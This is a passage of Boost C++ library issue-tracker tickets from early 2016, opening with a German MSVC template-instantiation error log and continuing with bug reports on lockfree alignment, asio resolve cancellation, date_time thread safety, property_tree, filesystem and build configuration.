boost_1_60_0\boost\range\has_range_iterator.hpp(27): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::range_detail::has_type_impl_<T>' with [

T=boost::range_detail::range_mutable_iterator<boost::remove_reference<boost::range_iterator<std::allocator<std::string>::value_type>::type>::type>

] D:\tools
boost_1_60_0\boost\mpl\eval_if.hpp(41): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::range_detail::has_type<T,fallback_>' with [

T=boost::range_detail::range_mutable_iterator<boost::remove_reference<boost::range_iterator<std::allocator<std::string>::value_type>::type>::type>, fallback_=boost::mpl::bool_<false>

] D:\tools
boost_1_60_0\boost\range\has_range_iterator.hpp(73): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::mpl::eval_if<C,F1,F2>' with [

C=boost::is_const<boost::remove_reference<boost::range_iterator<std::allocator<std::string>::value_type>::type>::type>, F1=boost::range_detail::has_type<boost::range_detail::range_const_iterator<boost::remove_reference<boost::range_iterator<std::allocator<std::string>::value_type>::type>::type>,boost::mpl::bool_<false>>, F2=boost::range_detail::has_type<boost::range_detail::range_mutable_iterator<boost::remove_reference<boost::range_iterator<std::allocator<std::string>::value_type>::type>::type>,boost::mpl::bool_<false>>

] D:\tools
boost_1_60_0\boost\range\has_range_iterator.hpp(73): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::range_detail::has_range_iterator_impl<T>' with [

T=boost::remove_reference<boost::range_iterator<std::allocator<std::string>::value_type>::type>::type

] D:\tools
boost_1_60_0\boost\mpl\if.hpp(63): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::has_range_iterator<T>' with [

T=boost::range_iterator<std::allocator<std::string>::value_type>::type

] D:\tools
boost_1_60_0\boost\mpl\eval_if.hpp(40): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::mpl::if_<T1,T2,T3>' with [

T1=boost::has_range_iterator<boost::range_iterator<std::allocator<std::string>::value_type>::type>, T2=boost::range_iterator<boost::range_iterator<std::allocator<std::string>::value_type>::type>, T3=boost::mpl::identity<void>

] D:\tools
boost_1_60_0\boost\range\iterator_range_core.hpp(451): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::mpl::eval_if<C,F1,F2>' with [

C=boost::has_range_iterator<boost::range_iterator<std::allocator<std::string>::value_type>::type>, F1=boost::range_iterator<boost::range_iterator<std::allocator<std::string>::value_type>::type>, F2=boost::mpl::identity<void>

] D:\tools
boost_1_60_0\boost\mpl\aux_\preprocessed\plain\and.hpp(25): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::iterator_range<IteratorT>::is_compatible_range_<Source>' with [

IteratorT=boost::range_iterator<std::allocator<std::string>::value_type>::type, Source=boost::range_iterator<std::allocator<std::string>::value_type>::type

] D:\tools
boost_1_60_0\boost\mpl\aux_\preprocessed\plain\and.hpp(55): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::mpl::aux::and_impl<C_,T1,T2,T3,T4>' with [

C_=true, T1=boost::iterator_range<boost::range_iterator<std::allocator<std::string>::value_type>::type>::is_compatible_range_<boost::range_iterator<std::allocator<std::string>::value_type>::type>, T2=boost::mpl::true_, T3=boost::mpl::true_, T4=boost::mpl::true_

] D:\tools
boost_1_60_0\boost\range\iterator_range_core.hpp(468): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::mpl::and_<T1,T2>' with [

T1=boost::mpl::not_<boost::is_convertible<boost::range_iterator<boost::iterator_range<boost::range_iterator<std::allocator<std::string>::value_type>::type>>::type,boost::iterator_range_detail::iterator_range_base<boost::range_iterator<std::allocator<std::string>::value_type>::type,boost::iterators::incrementable_traversal_tag>::iterator>>, T2=boost::iterator_range<boost::range_iterator<std::allocator<std::string>::value_type>::type>::is_compatible_range_<boost::range_iterator<std::allocator<std::string>::value_type>::type>

] D:\tools
boost_1_60_0\boost\core\enable_if.hpp(41): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::iterator_range<IteratorT>::is_compatible_range<Source>' with [

IteratorT=boost::range_iterator<std::allocator<std::string>::value_type>::type, Source=boost::range_iterator<std::allocator<std::string>::value_type>::type

] D:\tools
boost_1_60_0\boost\algorithm\string\detail\finder.hpp(68): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::enable_if<Cond,T>' with [

Cond=boost::iterator_range<boost::range_iterator<std::allocator<std::string>::value_type>::type>::is_compatible_range<boost::range_iterator<std::allocator<std::string>::value_type>::type>, T=void

] D:\tools
boost_1_60_0\boost\algorithm\string\find_format.hpp(272): Siehe Verweis auf Instanziierung der kompilierten Funktionsvorlage 'boost::iterator_range<IteratorT> boost::algorithm::detail::first_finderF<SearchIteratorT,PredicateT>::operator ()<boost::range_iterator<C>::type>(ForwardIteratorT,ForwardIteratorT) const' with [

IteratorT=boost::range_iterator<std::allocator<std::string>::value_type>::type, SearchIteratorT=const boost::date_time::date_facet<boost::gregorian::date,char>::char_type *, PredicateT=boost::algorithm::is_equal, C=std::allocator<std::string>::value_type, ForwardIteratorT=boost::range_iterator<std::allocator<std::string>::value_type>::type

] D:\tools
boost_1_60_0\boost\algorithm\string\replace.hpp(657): Siehe Verweis auf Instanziierung der kompilierten Funktionsvorlage 'void boost::algorithm::find_format_all<SequenceT,boost::algorithm::detail::first_finderF<SearchIteratorT,PredicateT>,boost::algorithm::detail::const_formatF<RangeT>>(SequenceT &,FinderT,FormatterT)' with [

SequenceT=boost::date_time::date_facet<boost::gregorian::date,char>::string_type, SearchIteratorT=const boost::date_time::date_facet<boost::gregorian::date,char>::char_type *, PredicateT=boost::algorithm::is_equal, RangeT=boost::iterator_range<std::basic_string<char,std::char_traits<char>,std::allocator<char>>::const_iterator>, FinderT=boost::algorithm::detail::first_finderF<const boost::date_time::date_facet<boost::gregorian::date,char>::char_type *,boost::algorithm::is_equal>, FormatterT=boost::algorithm::detail::const_formatF<boost::iterator_range<std::basic_string<char,std::char_traits<char>,std::allocator<char>>::const_iterator>>

] D:\tools
boost_1_60_0\boost\date_time\date_facet.hpp(322): Siehe Verweis auf Instanziierung der kompilierten Funktionsvorlage 'void boost::algorithm::replace_all<boost::date_time::date_facet<date_type,CharT>::string_type,const boost::date_time::date_facet<date_type,CharT>::char_type[3],std::allocator<_Ty>::value_type>(SequenceT &,Range1T (&),const Range2T &)' with [

date_type=boost::gregorian::date, CharT=char, _Ty=std::string, SequenceT=boost::date_time::date_facet<boost::gregorian::date,char>::string_type, Range1T=const boost::date_time::date_facet<boost::gregorian::date,char>::char_type [3], Range2T=std::allocator<std::string>::value_type

] D:\tools
boost_1_60_0\boost\date_time\date_facet.hpp(317): Bei der Kompilierung der Memberfunktion 'std::ostreambuf_iterator<_Elem,_Traits> boost::date_time::date_facet<date_type,CharT>::do_put_tm(OutItrT,std::ios_base &,boost::date_time::date_facet<date_type,CharT>::char_type,const tm &,boost::date_time::date_facet<date_type,CharT>::string_type) const' der Klassenvorlage with [

_Elem=char, _Traits=std::char_traits<char>, date_type=boost::gregorian::date, CharT=char, OutItrT=std::ostreambuf_iterator<char,std::char_traits<char>>

] D:\tools
boost_1_60_0\boost\date_time\time_facet.hpp(204): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::date_time::date_facet<date_type,CharT>' with [

date_type=boost::gregorian::date, CharT=char

] io_tutorial.cpp(27): Siehe Verweis auf Instanziierung der kompilierten Klassenvorlage 'boost::date_time::time_facet<time_type,CharT>' with [

time_type=boost::local_time::local_date_time, CharT=char

]

D:\tools
boost_1_60_0\boost\range\mutable_iterator.hpp(37) : error C3254: 'boost::range_detail::extract_iterator<C>': Die Klasse enth„lt die explizite šberschreibung 'ctor', wird jedoch von keiner Schnittstelle abgeleitet, die die Funktionsdeklaration enth„lt

with [

C=boost::remove_reference<boost::range_iterator<std::allocator<std::string>::value_type>::type>::type

]

D:\tools
boost_1_60_0\boost\range\mutable_iterator.hpp(37) : error C2838: 'ctor': Unzul„ssiger vollst„ndig angegebener Name in Elementdeklaration D:\tools
boost_1_60_0\boost\range\mutable_iterator.hpp(37) : error C2461: 'boost::range_detail::extract_iterator<C>': Formale Parameterliste fr Konstruktor fehlt

with [

C=boost::remove_reference<boost::range_iterator<std::allocator<std::string>::value_type>::type>::type

]

D:\tools
boost_1_60_0\boost\range\mutable_iterator.hpp(37) : error C2955: 'boost::type': fr die Verwendung einer Vorlagenklasse ist eine Vorlagen-Argumentliste erforderlich

D:\tools
boost_1_60_0\boost\type.hpp(14): Siehe Deklaration von 'boost::type'

D:\tools
boost_1_60_0\boost\range\mutable_iterator.hpp(37) : fatal error C1903: Weiterverarbeitung nach vorherigem Fehler nicht m”glich; Kompilierung wird abgebrochen.

#11971: polygon_set_data has problems near INT_MAX

lopresti@… — Tue, 09 Feb 2016 22:09:56 GMT

When I try to use boost::polygon::operators::operator& to AND a polygon set with a very large rectangle (i.e. something close to (INT_MIN,INT_MIN,INT_MAX,INT_MAX)) -- which should be the identity operation -- the internal data structure appears to get corrupted.

I am attaching a simple test case to illustrate the problem. Note that using an upper bound of INT_MAX-100 still fails, but INT_MAX/2 works as expected.

I do not see any mention of limitations on the range of integer coordinates in the documentation. Should there be one?

#11970: Use perfect forwarding for object_pool

djpeaco@… — Tue, 09 Feb 2016 19:29:22 GMT

boost::object_pool::construct uses a code generation system to create versions of that method that take up to some arbitrary number of input parameters. With C++11/14 it is possible to do the same using perfect forwarding, which would allow any number of input parameters using a single template method, and without bloating the hpp.

I think this would also solve a related problem I am having. The object that I am trying to construct using the object_pool takes a unique_ptr as an input parameter to it's constructor (it is taking ownership of it):

class Node {}
class Tree {
    Tree(std::unique_ptr<Node> root, int foo, int bar) :
        m_root(std::move(root)) {}
private:
    std::unique_ptr<Node> m_root;
}
void makeTrees()
{
    boost::object_pool<Tree> treePool;
    std::unique_ptr<Node> node (new Node());
    Tree* tree = treePool.construct (node, 1, 2);
}

In the current implementation, the compiler gives an error because object_pool::construct doesn't call std::move on root when newing the tree:

/usr/local/include/boost/pool/detail/pool_construct.ipp(258): error: function "std::unique_ptr<_Tp, _Dp>::unique_ptr(const std::unique_ptr<_Tp, _Dp> &) [with _Tp=Node, _Dp=std::function<void (Node *)>]" (declared at line 273 of "/usr/include/c++/4.8.5/bits/unique_ptr.h") cannot be referenced -- it is a deleted function
    try { new (ret) element_type(a0, a1, a2); }

I think (but am not certain) that using perfect forwarding would allow this.

#11969: Add new library category

steve.hickman@… — Tue, 09 Feb 2016 16:48:42 GMT

At least 2 libraries (Boost.Unit and Boost.ConceptCheck) support higher level software semantics. Used appropriately, they help programmers reason about the meaning behind what code does. The advantage is that they enable compiler driven requirements checking - if the code fails to meet a requirement, it simply doesn't compile correctly! This is a powerful concept. I don't know if most Boost users (or programmers in general) understand how valuable this is. Adding a category on this page (http://www.boost.org/doc/libs/1_60_0/?view=categorized ) might help get that message across.

#11968: Undefined behavior in `boost::lockfree::queue`: nodes are always misaligned

yury.zaytsev@… — Tue, 09 Feb 2016 13:22:02 GMT

Here is a minimal reproducer to illustrate the problem:

#include <boost/lockfree/queue.hpp>
struct entry {
    int x = -1;
};
int main() {
    boost::lockfree::queue<entry, boost::lockfree::capacity<1>> queue;
    queue.push({0});
    entry d;
    queue.pop(d);
}

zaytsev@work:~/src/gcc$ g++ -std=c++14 -fsanitize=undefined lockfree.cpp
zaytsev@work:~/src/gcc$ ./a.out
/usr/include/boost/lockfree/detail/freelist.hpp:442:9: runtime error: constructor call on misaligned address 0x7fffd0831720 for type 'struct node', which requires 64 byte alignment
0x7fffd0831720: note: pointer points here
 00 00 00 00  00 00 a6 5b 2a 7f 00 00  ff ff 00 00 01 00 00 00  40 17 83 d0 ff 7f 00 00  f8 0a 40 00
              ^
/usr/include/boost/lockfree/detail/freelist.hpp:454:9: runtime error: constructor call on misaligned address 0x7fffd08316e0 for type 'struct node', which requires 64 byte alignment
0x7fffd08316e0: note: pointer points here
 ff 7f 00 00  02 00 60 00 00 00 00 00  70 08 40 00 00 00 00 00  88 50 60 00 00 00 00 00  d9 64 a9 5b
              ^
/usr/include/boost/lockfree/queue.hpp:102:19: runtime error: member access within misaligned address 0x7fffd08316e0 for type 'struct node', which requires 64 byte alignment
0x7fffd08316e0: note: pointer points here
 ff 7f 00 00  02 00 60 00 00 00 00 00  70 08 40 00 00 00 00 00  88 50 60 00 00 00 00 00  d9 64 a9 5b
              ^

This happens because nodes are declared to be cache line aligned in queue.hpp:

struct BOOST_LOCKFREE_CACHELINE_ALIGNMENT node { ... };

However, alignment to 64 bytes makes node an over-aligned type, and for such types the behavior is implementation defined. In particular, GCC 5.3, which was used for this test, doesn't seem to take alignment requirements of over-aligned types into account when allocating on the heap.

Apparently, nobody has noticed this so far, because on x86 this will simply cause a slowdown, but on other targets, such as ARM, the program would be terminated with a SIGBUS if a misaligned read occurs. It could be that the problem reported here: https://github.com/boostorg/lockfree/issues/11 is a manifestation of this larger issue.

Now, I would be happy to suggest a fix, but the problem is rather tricky.

If the storage for nodes is allocated on the heap, then probably the fix is as simple as replacing the default std::allocator with boost::aligned_allocator.

However, what makes boost::lockfree::queue particularly interesting is the support for compile-time sized storage. In this case, the situation is not so simple. One can get aligned storage with something like boost::aligned_storage<size * sizeof(T), BOOST_LOCKFREE_CACHELINE_BYTES> data, but is only part of the solution.

Indeed, compiletime_sized_freelist_storage should not only align data, but also over-allocate it, and the node allocator from the fixed_size_freelist should place nodes in data at appropriate positions so that not only the first, but also subsequent nodes remain aligned.

In addition to that, BOOST_LOCKFREE_CACHELINE_BYTES should be exposed publicly as a constant and those who are passing custom allocators to the boost::lockfree::queue should use that together with boost::aligned_allocator_adaptor to make sure that their allocators honor the desired alignment.

So, before investing any time in a patch, the problem has first to be discussed in more details... Maybe it also makes sense to change Boost.Lockfree to use Boost.Align, which was probably not used before because the former predated the latter.

For now, the easiest stop gap solution that I can think of would be to patch out the alignment requirement, as it simply doesn't work as expected, but potentially causes problems for other architectures as x86. This would be something I would suggest doing ASAP for Boost 1.61.

#11964: asio async_resolve cannot be cancelled

sven_nilsson@… — Mon, 08 Feb 2016 09:53:07 GMT

The asio async_resolve (both the udp and tcp resolver) is incorrectly implemented (on win32) as a synchronous resolve performed in a thread.

This has the unfortunate effect that, when the DNS server is not responding, the application will hang for ~20 seconds. The DNS operation is ongoing in the io_service, and thus the io_service destructor must wait for the thread to finish. I tried several methods in an effort to cancel it, but none worked.

Since the average user has approximately 5 seconds of patience with a non-responding application before killing it with task manager, I really think this needs to be fixed.

#11963: Boost function "boost::property_tree::ini_parser::read_ini" causing "EXC_BAD_ACCESS (code=EXC_I386_GPFLT)"

giovacchini.andrea@… — Mon, 08 Feb 2016 08:51:10 GMT

I have a simple source like this that build and executes correctly under Windows 10 with Visual Studio 2015 but throws "EXC_BAD_ACCESS (code=EXC_I386_GPFLT)" under OsX 10.11.3 with Xcode 7.2.1:

#include <boost/property_tree/ini_parser.hpp>
#include <boost/property_tree/ptree.hpp>
#include <boost/property_tree/json_parser.hpp>
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
    if (argc != 3)
    {
        std::cerr << "Usage: program rootPath iniFileName" << std::endl ;
        return 1;
    }
    string mainPath(argv[1]) ;
    string iniFileName(argv[2])  ;
    boost::property_tree::ptree pt;
    try
    {
        boost::property_tree::ini_parser::read_ini(mainPath + iniFileName, pt);
    }
    catch(const boost::property_tree::ptree_error &e)
    {
        cout << e.what() << endl;
    }
     return 0;
}

This is the stack trace:

Thread 1Queue : com.apple.main-thread (serial) #0 0x00000001000a10c0 in std::1::basic_streambuf<char, std::1::char_traits<char> >::pubimbue(std::1::locale const&) [inlined] at /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/streambuf:227 #1 0x00000001000a10c0 in std::1::basic_ios<char, std::1::char_traits<char> >::imbue(std::1::locale const&) [inlined] at /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../include/c++/v1/ios:717 #2 0x00000001000a100b in void boost::property_tree::ini_parser::read_ini<boost::property_tree::basic_ptree<std::__1::basic_string<char, std::__1::char_traits<char>, std::1::allocator<char> >, std::1::basic_string<char, std::1::char_traits<char>, std::1::allocator<char> >, std::1::less<std::__1::basic_string<char, std::__1::char_traits<char>, std::1::allocator<char> > > > >(std::1::basic_string<char, std::1::char_traits<char>, std::1::allocator<char> > const&, boost::property_tree::basic_ptree<std::__1::basic_string<char, std::__1::char_traits<char>, std::1::allocator<char> >, std::1::basic_string<char, std::1::char_traits<char>, std::1::allocator<char> >, std::1::less<std::__1::basic_string<char, std::__1::char_traits<char>, std::1::allocator<char> > > >&, std::1::locale const&) at /Users/andreagiovacchini/Documents/Sviluppo/boost_1_60_0/boost/property_tree/ini_parser.hpp:167 #3 0x0000000100124a36 in main at /Users/andreagiovacchini/Documents/Sviluppo/Test/Test/main.cpp:21 #4 0x00007fff857245ad in start ()

Problem comes from "stream.imbue(loc);" line in ini_parser.php from this function:

    template<class Ptree>
    void read_ini(const std::string &filename,
                  Ptree &pt,
                  const std::locale &loc = std::locale())
    {
        std::basic_ifstream<typename Ptree::key_type::value_type>
            stream(filename.c_str());
        if (!stream)
            BOOST_PROPERTY_TREE_THROW(ini_parser_error(
                "cannot open file", filename, 0));
        stream.imbue(loc);
        try {
            read_ini(stream, pt);
        }
        catch (ini_parser_error &e) {
            BOOST_PROPERTY_TREE_THROW(ini_parser_error(
                e.message(), filename, e.line()));
        }
    }

Since I can't see how my code can generate this kind of problem I think it is a Boost bug

Andrea

#11960: boost::transitive_closure dies on small graph with only 100,000 vertices

jpritikin@… — Sat, 06 Feb 2016 03:03:04 GMT

Here's a trivial program that dies with a SIGKILL inside of boost::transitive_closure. I suspect it tries to allocate an absurd amount of memory.

#11958: boost::gregorian is not thread safe

Fri, 05 Feb 2016 14:48:21 GMT

in greg_month.cpp,

The static method get_month_map_ptr performs a non-thread-safe initialization of the month_map structure on the first access.

If the first access is done concurrently, it is likely to crash with a segmentation fault as such:

Program received signal SIGSEGV, Segmentation fault. #0 0x00007fffef9127d9 in std::_Rb_tree<std::string, std::pair<std::string const, unsigned short>, std::_Select1st<std::pair<std::string const, unsigned short> >, std::less<std::string>, std::allocator<std::pair<std::string const, unsigned short> > >::_M_insert_unique(std::pair<std::string const, unsigned short> const&) ()

from /usr/lib/x86_64-linux-gnu/libboost_date_time.so.1.54.0

#1 0x00007fffef90fc90 in boost::gregorian::greg_month::get_month_map_ptr() () from /usr/lib/x86_64-linux-gnu/libboost_date_time.so.1.54.0 #2 0x00007ffff4d41e07 in boost::date_time::month_str_to_ushort<boost::gregorian::greg_month> (s=...) at /usr/include/boost/date_time/date_parsing.hpp:67 #3 0x00007ffff4d4341a in boost::date_time::parse_date<boost::gregorian::date> (s=..., order_spec=order_spec@entry=0) at /usr/include/boost/date_time/date_parsing.hpp:143 #4 0x00007ffff4d3a720 in from_string (s=...) at /usr/include/boost/date_time/gregorian/parsers.hpp:30

I suggest initializing the map in a safe, lockless manner.

#11955: boost/graph/adjacency_matrix.hpp triggers deprecated code

fiesh@… — Thu, 04 Feb 2016 15:25:17 GMT

I understand that this probably doesn't seem important, since many other files are similar in boost::graph.

It requires functional/hash.hpp, and, more importantly and only as of recently, type_traits/ice.hpp. However, the latter now is deprecated.

#11954: NOTE: Use of this header (bool_trait_def.hpp) is deprecated

fiesh@… — Thu, 04 Feb 2016 13:47:51 GMT

Including boost/iostreams/filtering_streambuf.hpp results in the above warning from Boost 1.60.0 on. It did not in Boost 1.59.0.

This is a kind-of duplicate of #11886, but since it's a different component I created this separate ticket.

#11949: request for information

dp25@… — Tue, 02 Feb 2016 05:29:14 GMT

This is not a bug notice but a request for information. Do you have an example of a directory listing using boost that is in alpha order? How do I modify the following code to do that? Can I pass boost a compare file as can be done in the C fts system?

for (directory_entry& x : directory_iterator(p)){

fullPathName = x.path().string(); cout .....

}

or this way:

directory_iterator end ;

for( directory_iterator iter("../takes/test") ; iter != end ; ++iter ) {

if ( !is_directory( *iter ) ){

cout << iter->path() << "\n";

}

}

thanks in advance. Please reply to David at dp25@…

#11948: undefined reference to boost::gregorian::greg_month::get_month_map_ptr()

565434471@… — Sat, 30 Jan 2016 15:48:25 GMT

[liukai@iZ11idlxpv6Z 20160127]$ ./waf -v Waf: Entering directory `/home/liukai/builder/20160127/build' [42/42] Linking build/SceneServer/SceneServer 23:43:47 runner ['/home/liukai/local/bin/clang++', '-pthread', '-lrt', '-lz', '-ldl', '-rdynamic', '-static-libgcc', '-static-libstdc++', 'SceneServer/SceneServer.cpp.1.o', '-o', '/home/liukai/builder/20160127/build/SceneServer/SceneServer', '-Wl,-Bstatic', '-Lcommon', '-L3Party/lua-5.3.2', '-L../build/common', '-L../3Party/boost/lib', '-lcommon', '-llua-5.3.2', '-lboost_system', '-lboost_date_time', '-Wl,-Bdynamic'] SceneServer/SceneServer.cpp.1.o：在函数‘unsigned short boost::date_time::month_str_to_ushort<boost::gregorian::greg_month>(std::cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)’中： /home/liukai/local/include/boost/date_time/date_parsing.hpp:67：对‘boost::gregorian::greg_month::get_month_map_ptr()’未定义的引用 clang: error: linker command failed with exit code 1 (use -v to see invocation)

Waf: Leaving directory `/home/liukai/builder/20160127/build' Build failed

-> task in 'SceneServer' failed (exit status 1):

{task 140651725143760: cxxprogram SceneServer.cpp.1.o -> SceneServer}

['/home/liukai/local/bin/clang++', '-pthread', '-lrt', '-lz', '-ldl', '-rdynamic', '-static-libgcc', '-static-libstdc++', 'SceneServer/SceneServer.cpp.1.o', '-o', '/home/liukai/builder/20160127/build/SceneServer/SceneServer', '-Wl,-Bstatic', '-Lcommon', '-L3Party/lua-5.3.2', '-L../build/common', '-L../3Party/boost/lib', '-lcommon', '-llua-5.3.2', '-lboost_system', '-lboost_date_time', '-Wl,-Bdynamic']

#11947: filesystem: getting file_type from a directory_entry without causing a system call on linux

Fri, 29 Jan 2016 10:44:31 GMT

When iterating over a directory with directory_iterator the directory_entries are created with the file_type component of the m_symlink_status defined if the filesystem supports it on Linux due to BOOST_FILESYSTEM_STATUS_CACHE.

However the directory iteration does not produce the permission component of the file status. Thus if using somedirectoryentry.symlink_status().type() the library performs a superfluous lstat system call because status_known does not succeed due to permissions_present not succeeding.

This is possible to fix e.g. by adding a symlink_type method to the directory_entry class, a patch implementing it is linked below:

https://github.com/taruti/filesystem/commit/835bcd3c13697cbd7fc3d8574fd07475eeada398

ps. Is the documentation manually or automatically created and does it need a separate patch?

#11944: lexically_relative() documentation incorrect

harris.pc@… — Thu, 28 Jan 2016 07:20:19 GMT

Documentation says its a free function path lexically_relative(const path& p, const path& base);

While in reality, its a member function of path

path lexically_relative(const path& base) const;

#11943: std::vector does not have a member data() in c++03 mode

angela.xie@… — Wed, 27 Jan 2016 20:20:24 GMT

Problem:program_options/exception_txt_test[_dll] fails in c++03 mode with Oracle studio 12.5 due to std::vector not having a member data() in c++03 mode.

in program_options/test/exception_txt_test.cpp in line of 50: 50:void test_each_exception_message(const string& test_description, const vector<const char*>& argv, options_description& desc, int style, string exception_msg, istream& is = cin)

... in line 62: 62: store(parse_command_line(argv.size(), argv.data(), desc, style), vm); According to definition of std::vector, member function

data

(C++11)

direct access to the underlying array

(public member function)

#11939: Issues with boost::interprocess::shared_ptr's move constructor and move assignment operator.

aivazyan@… — Tue, 26 Jan 2016 07:38:51 GMT

The boost::interprocess::shared_ptr's move constructor is declared as explicit which makes it copy when user does a move. Similarly, move assignment operator is missing to move the argument to temporary before swapping.

boost::interprocess::shared_ptr<...> p = ...;
assert(p.unique());
auto p1 = std::move(p); // Does a copy.
assert(p1.unique()); // Fails.
decltype(p) p2;
p2 = std::move(p1); // Does a copy.
assert(p2.unique()); // Fails.

#11937: the bootstrap

Sun, 24 Jan 2016 08:47:40 GMT

Hi, when bootstrap runs on windows it creates a (relatively) undocumented file project-config.jam and inserts into it a using msvc ; This file persists and by default is auto-included in all builds of boost. In doing so it pollutes a build with the definitions for MSVC14.0 even if the overall build was intended to be strictly using an earlier toolset. The following log shows this

look at the beginning and just after the recognition of MPI. (Both of

which are introduced in a very simple site-config.jam)

Work around: project-config.jam should be deleted from %boost_root% or made of null effect at the end of the bootstrap process. Or well documented as the file to change.

notice: will use 'C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\bin\cl.exe' for msvc, condition <toolset>msvc-9.0 notice: [msvc-cfg] condition: '<toolset>msvc-9.0/<architecture>/<address-model>', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_9.0_vcvarsall_x86.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-9.0/<architecture>/<address-model>32', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_9.0_vcvarsall_x86.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-9.0/<architecture>x86/<address-model>', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_9.0_vcvarsall_x86.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-9.0/<architecture>x86/<address-model>32', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_9.0_vcvarsall_x86.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-9.0/<architecture>/<address-model>64', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_9.0_vcvarsall_amd64.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-9.0/<architecture>x86/<address-model>64', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_9.0_vcvarsall_amd64.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-9.0/<architecture>ia64/<address-model>', setup: 'call "C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" x86_ia64 >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-9.0/<architecture>ia64/<address-model>64', setup: 'call "C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" x86_ia64 >nul ' ===============MPI Auto-configuration=============== Found Microsoft Compute Cluster Pack: C:\Program Files (x86)\Microsoft SDKs\MPI MPI build features: <include>/C:/Program Files (x86)/Microsoft SDKs/MPI/Include <address-model>64:<library-path>/C:/Program Files (x86)/Microsoft SDKs/MPI/Lib/x64 <library-path>/C:/Program Files (x86)/Microsoft SDKs/MPI/Lib/x86 <find-static-library>msmpi <toolset>msvc:<define>_SECURE_SCL=0 <toolset>msvc:<define>MSMPI_NO_DEPRECATE_20 MPI launcher: "C:\Program Files\Microsoft MPI\Bin\mpiexec.exe" -n ==================================================== notice: Searching 'C:\Users\tlyonsadmin' 'C:\Program Files\boost\boost_1_60_0\tools/build/src' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/kernel' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/util' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/build' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/tools' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/contrib' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/.' for user-config configuration file 'user-config.jam'. notice: Configuration file 'user-config.jam' not found in 'C:\Users\tlyonsadmin' 'C:\Program Files\boost\boost_1_60_0\tools/build/src' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/kernel' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/util' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/build' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/tools' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/contrib' 'C:/Program Files/boost/boost_1_60_0/tools/build/src/.'. notice: Searching '.' for project-config configuration file 'project-config.jam'. notice: Loading project-config configuration file 'project-config.jam' from '.'. notice: will use 'C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin\cl.exe' for msvc, condition <toolset>msvc-14.0 notice: [msvc-cfg] condition: '<toolset>msvc-14.0/<architecture>/<address-model>', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_14.0_vcvarsall_x86.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-14.0/<architecture>/<address-model>32', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_14.0_vcvarsall_x86.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-14.0/<architecture>x86/<address-model>', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_14.0_vcvarsall_x86.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-14.0/<architecture>x86/<address-model>32', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_14.0_vcvarsall_x86.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-14.0/<architecture>/<address-model>64', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_14.0_vcvarsall_amd64.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-14.0/<architecture>x86/<address-model>64', setup: 'call "C:\Users\TLYONS~1\AppData\Local\Temp\b2_msvc_14.0_vcvarsall_amd64.cmd" >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-14.0/<architecture>ia64/<address-model>', setup: 'call "C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\vcvarsall.bat" x86_ia64 >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-14.0/<architecture>ia64/<address-model>64', setup: 'call "C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\vcvarsall.bat" x86_ia64 >nul ' notice: [msvc-cfg] condition: '<toolset>msvc-14.0/<architecture>arm/<address-model>', setup: 'call 